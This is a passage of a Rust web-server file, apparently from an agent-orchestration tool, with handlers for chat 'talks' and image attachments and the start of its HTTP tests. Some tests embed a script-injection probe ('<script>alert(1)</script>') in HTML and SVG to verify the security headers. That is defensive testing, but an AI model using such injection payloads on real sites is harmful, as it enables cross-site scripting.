5959 .release(&mut live);
5960 break;
5961 }
5962 };
5963 talk = next_talk;
5964 let drained = match result {
5965 Ok(Some(drained)) => drained,
5966 Ok(None) => {
5967 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5968 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5969 continue;
5970 }
5971 turn.take()
5972 .expect("held for the whole loop until released here")
5973 .release(&mut live);
5974 break;
5975 }
5976 Err(e) => {
5977 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5978 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5979 turn.take()
5980 .expect("held for the whole loop until released here")
5981 .release(&mut live);
5982 break;
5983 }
5984 };
5985 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5986 tracing::warn!("talk {id} turn failed: {e:#}");
5987 }
5988 }
5989}
5990
5991async fn talk_pending_clear(
5993 State(ui): State<Arc<Ui>>,
5994 Path(id): Path<String>,
5995 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5996) -> ApiResult<Json<TalkView>> {
5997 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5998 blocking(move || {
5999 let id = resolve_talk(&ui.talks, &id)?;
6000 let mut talk = ui.talks.get(&id)?;
6001 if !talk.status.open() {
6002 return Err(ApiError::conflict(format!(
6003 "talk {} is {} and takes no more turns",
6004 talk.short(),
6005 talk.status.as_str()
6006 )));
6007 }
6008 if !talk::clear_pending_if_matches(
6009 &mut talk,
6010 &ui.talks,
6011 &body.expected_text,
6012 &body.expected_attachments,
6013 )? {
6014 return Err(ApiError::conflict(
6015 "queued message changed; reload it before clearing",
6016 ));
6017 }
6018 let thinking = ui.is_thinking(&talk.id);
6019 Ok(Json(TalkView::new(talk, thinking)))
6020 })
6021 .await
6022}
6023
6024async fn talk_pending_edit(
6028 State(ui): State<Arc<Ui>>,
6029 Path(id): Path<String>,
6030 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6031) -> ApiResult<Json<TalkView>> {
6032 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6033 let (view, reclaimed) = blocking({
6034 let ui = Arc::clone(&ui);
6035 move || {
6036 let id = resolve_talk(&ui.talks, &id)?;
6037 let mut talk = ui.talks.get(&id)?;
6038 if !talk.status.open() {
6039 return Err(ApiError::conflict(format!(
6040 "talk {} is {} and takes no more turns",
6041 talk.short(),
6042 talk.status.as_str()
6043 )));
6044 }
6045 if !talk::edit_pending_text(
6046 &mut talk,
6047 &ui.talks,
6048 &body.text,
6049 &body.expected_text,
6050 &body.expected_attachments,
6051 )? {
6052 return Err(ApiError::conflict(
6053 "queued message changed; reload it before editing",
6054 ));
6055 }
6056 let claim = match ui.begin_queued_talk_turn(&id)? {
6057 Some(turn_guard) => {
6058 let (cfg, _) = Config::discover(&talk.repo, None)?;
6059 Some((talk.clone(), cfg, id.clone(), turn_guard))
6060 }
6061 None => None,
6062 };
6063 let thinking = ui.is_thinking(&id);
6064 Ok((TalkView::new(talk, thinking), claim))
6065 }
6066 })
6067 .await?;
6068 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6069 let talks = ui.talks.clone();
6070 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6071 }
6072 Ok(Json(view))
6073}
6074
6075#[derive(Debug, Deserialize)]
6077struct TalkAgent {
6078 agent: String,
6079}
6080
6081async fn talk_agent(
6086 State(ui): State<Arc<Ui>>,
6087 Path(id): Path<String>,
6088 Json(body): Json<TalkAgent>,
6089) -> ApiResult<Json<TalkView>> {
6090 let id = {
6091 let ui = Arc::clone(&ui);
6092 blocking(move || resolve_talk(&ui.talks, &id)).await?
6093 };
6094 let repo = {
6095 let ui = Arc::clone(&ui);
6096 let id = id.clone();
6097 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6098 };
6099 let cfg = config_for(&repo).await?;
6100 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6101 return Err(ApiError::conflict(
6102 "a talk turn is running; change the agent once it has answered",
6103 ));
6104 };
6105 let switched = {
6106 let ui = Arc::clone(&ui);
6107 let id = id.clone();
6108 let cfg = cfg.clone();
6109 blocking(move || {
6110 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6111 .map_err(ApiError::bad_request_from)?;
6112 let mut talk = ui.talks.get(&id)?;
6113 if !talk.status.open() {
6114 return Err(ApiError::conflict(format!(
6115 "talk {} is {} and takes no more turns",
6116 talk.short(),
6117 talk.status.as_str()
6118 )));
6119 }
6120 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6121 Ok(talk)
6122 })
6123 .await
6124 };
6125 let fresh = {
6130 let ui = Arc::clone(&ui);
6131 let id = id.clone();
6132 blocking(move || Ok(ui.talks.get(&id)?)).await
6133 };
6134 let draining = match fresh {
6135 Ok(talk) => {
6136 let draining = talk.status.open()
6137 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6138 let talks = ui.talks.clone();
6139 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6140 draining
6141 }
6142 Err(_) => false,
6143 };
6144 let talk = switched?;
6145 Ok(Json(TalkView::new(talk, draining)))
6146}
6147
6148async fn talk_close(
6150 State(ui): State<Arc<Ui>>,
6151 Path(id): Path<String>,
6152) -> ApiResult<Json<TalkView>> {
6153 blocking(move || {
6154 let id = resolve_talk(&ui.talks, &id)?;
6155 let mut talk = ui.talks.get(&id)?;
6156 talk::close(&mut talk, &ui.talks)?;
6157 let thinking = ui.is_thinking(&talk.id);
6158 Ok(Json(TalkView::new(talk, thinking)))
6159 })
6160 .await
6161}
6162
6163async fn talk_reopen(
6165 State(ui): State<Arc<Ui>>,
6166 Path(id): Path<String>,
6167) -> ApiResult<Json<TalkView>> {
6168 blocking(move || {
6169 let id = resolve_talk(&ui.talks, &id)?;
6170 let mut talk = ui.talks.get(&id)?;
6171 talk::reopen(&mut talk, &ui.talks)?;
6172 let thinking = ui.is_thinking(&talk.id);
6173 Ok(Json(TalkView::new(talk, thinking)))
6174 })
6175 .await
6176}
6177
6178async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6188 blocking(move || {
6189 let id = resolve_talk(&ui.talks, &id)?;
6190 ui.talks.remove(&id)?;
6191 Ok(StatusCode::NO_CONTENT)
6192 })
6193 .await
6194}
6195
6196fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6198 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6199}
6200
6201async fn talk_attachment_post(
6204 State(ui): State<Arc<Ui>>,
6205 Path(id): Path<String>,
6206 headers: HeaderMap,
6207 body: Bytes,
6208) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6209 let mime = validate_attachment(&headers, &body)?;
6210 let name = filename_header(&headers);
6211 let data = body.to_vec();
6212 blocking(move || {
6213 let id = resolve_talk(&ui.talks, &id)?;
6214 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6215 Ok((StatusCode::CREATED, Json(att)))
6216 })
6217 .await
6218}
6219
6220async fn talk_attachment_get(
6223 State(ui): State<Arc<Ui>>,
6224 Path((id, att)): Path<(String, String)>,
6225) -> ApiResult<Response> {
6226 blocking(move || {
6227 let id = resolve_talk(&ui.talks, &id)?;
6228 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6229 return Err(ApiError::not_found(format!(
6230 "talk {id} has no attachment `{att}`"
6231 )));
6232 };
6233 Ok(attachment_response(&meta.mime, data))
6234 })
6235 .await
6236}
6237
6238fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6249 if data.len() > ATTACHMENT_MAX_BYTES {
6250 return Err(ApiError::bad_request(format!(
6251 "attachment is {} bytes, over the {} MiB limit",
6252 data.len(),
6253 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6254 ))
6255 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6256 }
6257 if data.is_empty() {
6258 return Err(ApiError::bad_request("attachment is empty"));
6259 }
6260 let declared = declared_mime(headers)?;
6261 match sniffed_mime(data) {
6262 Some(sniffed) if sniffed == declared => Ok(declared),
6263 Some(sniffed) => Err(ApiError::bad_request(format!(
6264 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6265 ))),
6266 None => Err(ApiError::bad_request(
6267 "the file's bytes do not match any accepted image format",
6268 )),
6269 }
6270}
6271
6272fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6276 let raw = headers
6277 .get(header::CONTENT_TYPE)
6278 .and_then(|v| v.to_str().ok())
6279 .unwrap_or("")
6280 .split(';')
6281 .next()
6282 .unwrap_or("")
6283 .trim()
6284 .to_ascii_lowercase();
6285 ATTACHMENT_MIME_WHITELIST
6286 .iter()
6287 .find(|&&m| m == raw)
6288 .copied()
6289 .ok_or_else(|| {
6290 if raw == "image/svg+xml" {
6291 ApiError::bad_request(
6292 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6293 not just a picture",
6294 )
6295 } else if raw.is_empty() {
6296 ApiError::bad_request("Content-Type is required for an attachment upload")
6297 } else {
6298 ApiError::bad_request(format!(
6299 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6300 image/gif or image/webp"
6301 ))
6302 }
6303 })
6304}
6305
6306fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6309 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6310 Some("image/png")
6311 } else if data.starts_with(b"\xff\xd8\xff") {
6312 Some("image/jpeg")
6313 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6314 Some("image/gif")
6315 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6316 Some("image/webp")
6317 } else {
6318 None
6319 }
6320}
6321
6322fn filename_header(headers: &HeaderMap) -> String {
6328 headers
6329 .get(FILENAME_HEADER)
6330 .and_then(|v| v.to_str().ok())
6331 .map(str::trim)
6332 .filter(|s| !s.is_empty())
6333 .unwrap_or("attachment")
6334 .to_owned()
6335}
6336
6337fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6344 let content_type = ATTACHMENT_MIME_WHITELIST
6345 .iter()
6346 .find(|&&m| m == mime)
6347 .copied()
6348 .unwrap_or("application/octet-stream");
6349 (
6350 [
6351 (header::CONTENT_TYPE, content_type),
6352 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6353 ],
6354 body,
6355 )
6356 .into_response()
6357}
6358
6359async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6367 let repo = repo.to_path_buf();
6368 blocking(move || {
6369 let (cfg, _) = Config::discover(&repo, None)?;
6370 Ok(cfg)
6371 })
6372 .await
6373}
6374
6375fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6381 let mut hits = ids
6382 .into_iter()
6383 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6384 match (hits.next(), hits.next()) {
6385 (Some(one), None) => Ok(one),
6386 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6387 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6388 "`{prefix}` matches more than one {what}, including {a} and {b}"
6389 ))),
6390 }
6391}
6392
6393#[cfg(test)]
6394mod tests {
6395
6396 #[test]
6397 fn holder_reads_the_lease_not_the_record() {
6398 let mut q = Question::new(
6399 "run".to_owned(),
6400 "implement".to_owned(),
6401 "impl-A".to_owned(),
6402 "which?".to_owned(),
6403 String::new(),
6404 Vec::new(),
6405 );
6406 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6407 q.cwd = Some("/tmp".to_owned());
6408 assert_eq!(holder_of(&q, None), Some("nobody"));
6409 let beat = |kind, ago: i64| ask::Lease {
6410 kind,
6411 pid: 1,
6412 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6413 .unwrap(),
6414 };
6415 let fresh = beat(ask::WaiterKind::Asker, 1);
6416 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6417 let daemon = beat(ask::WaiterKind::Daemon, 1);
6418 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6419 let stale = beat(ask::WaiterKind::Asker, 3600);
6420 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6421
6422 let mut c = Question::new(
6425 "task".to_owned(),
6426 crate::conduct::NODE.to_owned(),
6427 "conduct".to_owned(),
6428 "which?".to_owned(),
6429 String::new(),
6430 Vec::new(),
6431 );
6432 assert_eq!(holder_of(&c, None), Some("nobody"));
6433 c.cwd = Some("/tmp".to_owned());
6434 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6435 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6436 let deputy = beat(ask::WaiterKind::Deputy, 1);
6437 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6438 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6439
6440 let mut m = Question::new(
6443 "run".to_owned(),
6444 crate::land::APPROVAL_NODE.to_owned(),
6445 "land".to_owned(),
6446 "merge?".to_owned(),
6447 String::new(),
6448 Vec::new(),
6449 );
6450 assert_eq!(holder_of(&m, None), Some("nobody"));
6451 assert_eq!(
6452 holder_of(&m, Some(&fresh)),
6453 Some("nobody"),
6454 "a lease with no deputy is not a listener"
6455 );
6456 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6457 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6458 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6459 assert_eq!(holder_of(&m, None), Some("nobody"));
6460 }
6461
6462 #[test]
6463 fn deputies_enabled_follows_the_config() {
6464 let on = Config {
6467 agents: vec![crate::config::AgentSpec {
6468 id: "stub".to_owned(),
6469 kind: AgentKind::Command,
6470 model: None,
6471 command: vec!["true".to_owned()],
6472 extra_args: Vec::new(),
6473 env: Default::default(),
6474 prompt_delivery: None,
6475 }],
6476 ..Config::default()
6477 };
6478 assert!(crate::deputy::can_start(Some(&on), ""));
6479 assert!(crate::deputy::can_start(Some(&on), "stub"));
6480 let mut off = on.clone();
6481 off.daemon.max_deputies = 0;
6482 assert!(!crate::deputy::can_start(Some(&off), ""));
6483 let mut empty = on;
6484 empty.agents.clear();
6485 assert!(!crate::deputy::can_start(Some(&empty), ""));
6486 assert!(!crate::deputy::can_start(None, ""));
6487 }
6488
6489 use pretty_assertions::assert_eq;
6490 use serde_json::Value;
6491 use tempfile::TempDir;
6492 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6493
6494 use super::*;
6495 use crate::config::Config;
6496 use crate::queue::Source;
6497
6498 const SETTLE_STEPS: usize = 3_000;
6509
6510 struct Fixture {
6516 home: TempDir,
6517 addr: SocketAddr,
6518 }
6519
6520 impl Fixture {
6521 async fn start() -> Self {
6522 Self::with_loop(launch_idle).await
6523 }
6524
6525 async fn with_loop(launch: Launch) -> Self {
6527 let home = TempDir::new().expect("temp home");
6528 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6529 Self { home, addr }
6530 }
6531
6532 async fn with_repo(repo: PathBuf) -> Self {
6536 let home = TempDir::new().expect("temp home");
6537 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6538 Self { home, addr }
6539 }
6540
6541 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6544 let home = TempDir::new().expect("temp home");
6545 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6546 Self { home, addr }
6547 }
6548
6549 async fn serve(
6550 home: &FsPath,
6551 repo: PathBuf,
6552 launch: Launch,
6553 machine: Option<PathBuf>,
6554 ) -> SocketAddr {
6555 let queue = Queue::at(home.join("queue"));
6556 let runs = home.join("runs");
6557 std::fs::create_dir_all(&runs).expect("runs dir");
6558 let worktrees = home.join("wt").join("magi");
6559 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6560 let ui = Ui::new(
6561 queue,
6562 Questions::at(home.join("questions")),
6563 Talks::at(home.join("talks")),
6564 runs,
6565 home.to_path_buf(),
6566 repo,
6567 )
6568 .with_worktrees_root(worktrees)
6569 .with_machine_config(machine)
6570 .with_launch(launch);
6571 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6572 .await
6573 .expect("bind loopback");
6574 let addr = listener.local_addr().expect("local addr");
6575 tokio::spawn(async move {
6576 let _ = axum::serve(listener, ui.router()).await;
6577 });
6578 addr
6579 }
6580
6581 fn queue(&self) -> Queue {
6582 Queue::at(self.home.path().join("queue"))
6583 }
6584
6585 fn questions(&self) -> Questions {
6586 Questions::at(self.home.path().join("questions"))
6587 }
6588
6589 fn talks(&self) -> Talks {
6590 Talks::at(self.home.path().join("talks"))
6591 }
6592
6593 fn runs(&self) -> PathBuf {
6594 self.home.path().join("runs")
6595 }
6596
6597 async fn get(&self, path: &str) -> Res {
6598 request(self.addr, "GET", path, None).await
6599 }
6600
6601 async fn head(&self, path: &str) -> Res {
6606 request(self.addr, "HEAD", path, None).await
6607 }
6608
6609 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6610 request(self.addr, "POST", path, body).await
6611 }
6612
6613 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6614 request_with(self.addr, "GET", path, None, extra).await
6615 }
6616
6617 async fn delete(&self, path: &str) -> Res {
6618 request(self.addr, "DELETE", path, None).await
6619 }
6620
6621 async fn put(&self, path: &str, body: &str) -> Res {
6622 request(self.addr, "PUT", path, Some(body)).await
6623 }
6624
6625 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6627 request_bytes(self.addr, path, headers, body).await
6628 }
6629 }
6630
6631 struct Res {
6632 status: u16,
6633 headers: String,
6634 head: String,
6639 body: String,
6640 bytes: Vec<u8>,
6644 }
6645
6646 impl Res {
6647 fn json(&self) -> Value {
6648 serde_json::from_str(&self.body)
6649 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6650 }
6651
6652 fn header(&self, name: &str) -> Option<&str> {
6654 self.head.lines().find_map(|line| {
6655 let (key, value) = line.split_once(':')?;
6656 key.trim()
6657 .eq_ignore_ascii_case(name)
6658 .then(|| value.trim_start().trim_end_matches('\r'))
6659 })
6660 }
6661 }
6662
6663 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6666 request_with(addr, method, path, body, &[]).await
6667 }
6668
6669 async fn request_with(
6673 addr: SocketAddr,
6674 method: &str,
6675 path: &str,
6676 body: Option<&str>,
6677 extra: &[(&str, &str)],
6678 ) -> Res {
6679 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6680 for (name, value) in extra {
6681 head.push_str(&format!("{name}: {value}\r\n"));
6682 }
6683 if let Some(body) = body {
6684 head.push_str("Content-Type: application/json\r\n");
6685 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6686 }
6687 head.push_str("\r\n");
6688 if let Some(body) = body {
6689 head.push_str(body);
6690 }
6691 let mut socket = tokio::net::TcpStream::connect(addr)
6692 .await
6693 .expect("connect to the test server");
6694 socket
6695 .write_all(head.as_bytes())
6696 .await
6697 .expect("write request");
6698 let mut raw = Vec::new();
6699 socket.read_to_end(&mut raw).await.expect("read response");
6700 let split = raw
6703 .windows(4)
6704 .position(|w| w == b"\r\n\r\n")
6705 .expect("a header block");
6706 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6707 let bytes = raw[split + 4..].to_vec();
6708 let status = head
6709 .lines()
6710 .next()
6711 .and_then(|line| line.split_whitespace().nth(1))
6712 .and_then(|code| code.parse().ok())
6713 .expect("a status line");
6714 Res {
6715 status,
6716 headers: head.to_lowercase(),
6717 head,
6718 body: String::from_utf8_lossy(&bytes).into_owned(),
6719 bytes,
6720 }
6721 }
6722
6723 async fn request_bytes(
6729 addr: SocketAddr,
6730 path: &str,
6731 headers: &[(&str, &str)],
6732 body: &[u8],
6733 ) -> Res {
6734 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6735 for (name, value) in headers {
6736 head.push_str(&format!("{name}: {value}\r\n"));
6737 }
6738 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6739 let mut socket = tokio::net::TcpStream::connect(addr)
6740 .await
6741 .expect("connect to the test server");
6742 socket
6743 .write_all(head.as_bytes())
6744 .await
6745 .expect("write request head");
6746 socket.write_all(body).await.expect("write request body");
6747 let mut raw = Vec::new();
6748 socket.read_to_end(&mut raw).await.expect("read response");
6749 let split = raw
6750 .windows(4)
6751 .position(|w| w == b"\r\n\r\n")
6752 .expect("a header block");
6753 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6754 let bytes = raw[split + 4..].to_vec();
6755 let status = head
6756 .lines()
6757 .next()
6758 .and_then(|line| line.split_whitespace().nth(1))
6759 .and_then(|code| code.parse().ok())
6760 .expect("a status line");
6761 Res {
6762 status,
6763 headers: head.to_lowercase(),
6764 head,
6765 body: String::from_utf8_lossy(&bytes).into_owned(),
6766 bytes,
6767 }
6768 }
6769
6770 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6772 let mut state = RunState::new(
6773 PathBuf::from("/repo/magi"),
6774 "main".to_owned(),
6775 "0123456789abcdef".to_owned(),
6776 "Add a web UI\n\nMobile first.".to_owned(),
6777 Config::default(),
6778 );
6779 state.id = id.to_owned();
6780 state.status = status;
6781 let dir = runs.join(id);
6782 std::fs::create_dir_all(&dir).expect("run dir");
6783 std::fs::write(
6784 dir.join("run.json"),
6785 serde_json::to_string_pretty(&state).expect("serialize run"),
6786 )
6787 .expect("write run.json");
6788 }
6789
6790 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6794 let mut state = RunState::new(
6795 PathBuf::from(repo),
6796 "main".to_owned(),
6797 "0123456789abcdef".to_owned(),
6798 "task".to_owned(),
6799 Config::default(),
6800 );
6801 state.id = id.to_owned();
6802 state.status = status;
6803 let dir = runs.join(id);
6804 std::fs::create_dir_all(&dir).expect("run dir");
6805 std::fs::write(
6806 dir.join("run.json"),
6807 serde_json::to_string_pretty(&state).expect("serialize run"),
6808 )
6809 .expect("write run.json");
6810 }
6811
6812 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6813 let body = serde_json::json!({
6814 "schema": 1,
6815 "pid": 4242,
6816 "started_at": Timestamp::now().to_string(),
6817 "updated_at": updated_at.to_string(),
6818 "idle": false,
6819 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6820 "completed": 7,
6821 "polls": 143,
6822 });
6823 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6824 }
6825
6826 fn launch_idle(
6836 _opts: daemon::Opts,
6837 stop: daemon::Stop,
6838 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6839 Box::pin(async move {
6840 while !stop.stopped() {
6841 tokio::time::sleep(Duration::from_millis(2)).await;
6842 }
6843 Ok(())
6844 })
6845 }
6846
6847 fn launch_broken(
6850 _opts: daemon::Opts,
6851 _stop: daemon::Stop,
6852 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6853 Box::pin(async {
6854 Err(anyhow::anyhow!(
6855 "publish the daemon status file: read-only file system"
6856 ))
6857 })
6858 }
6859
6860 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6867 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6868
6869 fn launch_knocking_on_the_way_out(
6876 _opts: daemon::Opts,
6877 stop: daemon::Stop,
6878 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6879 Box::pin(async move {
6880 while !stop.stopped() {
6881 tokio::time::sleep(Duration::from_millis(2)).await;
6882 }
6883 let addr = PARK_KNOCK
6884 .lock()
6885 .expect("park knock")
6886 .expect("the test set an address");
6887 let heard = request(addr, "GET", "/api/health", None).await.status;
6888 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6889 Ok(())
6890 })
6891 }
6892
6893 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6902 for _ in 0..SETTLE_STEPS {
6903 let view = fx.get("/api/loop").await.json();
6904 if want(&view) {
6905 return view;
6906 }
6907 tokio::time::sleep(Duration::from_millis(10)).await;
6908 }
6909 panic!(
6910 "the loop never settled: {}",
6911 fx.get("/api/loop").await.json()
6912 );
6913 }
6914
6915 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6917 let store = fx.questions();
6918 let mut q = Question::new(
6919 "20260902-000000-beef".to_owned(),
6920 "implement".to_owned(),
6921 "impl-A".to_owned(),
6922 summary.to_owned(),
6923 "because it matters".to_owned(),
6924 choices.iter().map(|c| (*c).to_owned()).collect(),
6925 );
6926 store.put(&mut q).expect("put question");
6927 q.id
6928 }
6929
6930 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6936 let store = fx.questions();
6937 let mut q = Question::new(
6938 "20260902-000000-beef".to_owned(),
6939 "land".to_owned(),
6940 "fix".to_owned(),
6941 "Merge this?".to_owned(),
6942 "the diff is in the panel".to_owned(),
6943 vec!["merge".to_owned(), "hold".to_owned()],
6944 );
6945 let staging = fx.home.path().join("staging");
6948 std::fs::create_dir_all(&staging).expect("staging dir");
6949 let sources: Vec<PathBuf> = assets
6950 .iter()
6951 .map(|(name, bytes)| {
6952 let path = staging.join(name);
6953 std::fs::write(&path, bytes).expect("write staged asset");
6954 path
6955 })
6956 .collect();
6957 store
6958 .put_panel(&mut q, html, &sources)
6959 .expect("write the panel");
6960 store.put(&mut q).expect("put question");
6961 q.id
6962 }
6963
6964 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6973 let store = fx.talks();
6974 std::fs::create_dir_all(store.root()).expect("talks dir");
6975 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6976 .expect("serialize a seat");
6977 let body = serde_json::json!({
6978 "schema": 1,
6979 "id": id,
6980 "repo": "/repo/magi",
6981 "agent": "mock",
6982 "status": status,
6983 "turns": [],
6984 "created_at": Timestamp::now().to_string(),
6985 "updated_at": Timestamp::now().to_string(),
6986 "seat": seat,
6987 });
6988 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6989 store.get(id).expect("the seeded talk has to be readable");
6990 id.to_owned()
6991 }
6992
6993 #[tokio::test]
6994 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6995 let fx = Fixture::start().await;
6996 let id = panel(
6997 &fx,
6998 "<h1>Merge?</h1><img src=\"diff.svg\">",
6999 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7000 );
7001
7002 for path in [
7003 format!("/api/questions/{id}/panel"),
7004 format!("/api/questions/{id}/asset/diff.svg"),
7005 ] {
7006 let res = fx.get(&path).await;
7007 assert_eq!(res.status, 200, "{path}: {}", res.body);
7008 assert_eq!(
7014 res.header("content-security-policy"),
7015 Some(
7016 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7017 font-src data:; base-uri 'none'; form-action 'none'; \
7018 frame-ancestors 'self'"
7019 ),
7020 "{path} is the only thing between a hostile panel and the tailnet"
7021 );
7022 assert_eq!(
7023 res.header("x-content-type-options"),
7024 Some("nosniff"),
7025 "{path}: a browser must not re-decide the type we sent"
7026 );
7027 assert_eq!(
7028 res.header("referrer-policy"),
7029 Some("no-referrer"),
7030 "{path}: a panel must not leak the question id off the machine"
7031 );
7032
7033 let pre = fx.head(&path).await;
7038 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7039 assert_eq!(
7040 pre.header("content-security-policy"),
7041 res.header("content-security-policy"),
7042 "{path}: the preflight carries the same policy"
7043 );
7044 assert_eq!(
7045 pre.header("content-type"),
7046 res.header("content-type"),
7047 "{path}: the preflight carries the same type"
7048 );
7049 }
7050 }
7051
7052 #[tokio::test]
7053 async fn a_panel_reaches_the_browser_byte_for_byte() {
7054 let fx = Fixture::start().await;
7055 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7060 let id = panel(&fx, html, &[]);
7061
7062 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7063
7064 assert_eq!(res.status, 200);
7065 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7066 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7067 assert_eq!(
7068 res.header("content-disposition"),
7069 None,
7070 "the panel itself is rendered in the frame, not downloaded"
7071 );
7072 }
7073
7074 #[tokio::test]
7075 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7076 let fx = Fixture::start().await;
7077 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7078 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7079 let id = panel(
7080 &fx,
7081 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7082 &[("diff.svg", svg), ("shot.png", png)],
7083 );
7084
7085 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7086 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7087
7088 assert_eq!(as_svg.status, 200);
7089 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7090 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7095
7096 assert_eq!(as_png.status, 200);
7097 assert_eq!(as_png.header("content-type"), Some("image/png"));
7098 assert_eq!(
7099 as_png.header("content-disposition"),
7100 None,
7101 "a raster image has no execution surface, so tapping it still shows it"
7102 );
7103 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7104 }
7105
7106 #[tokio::test]
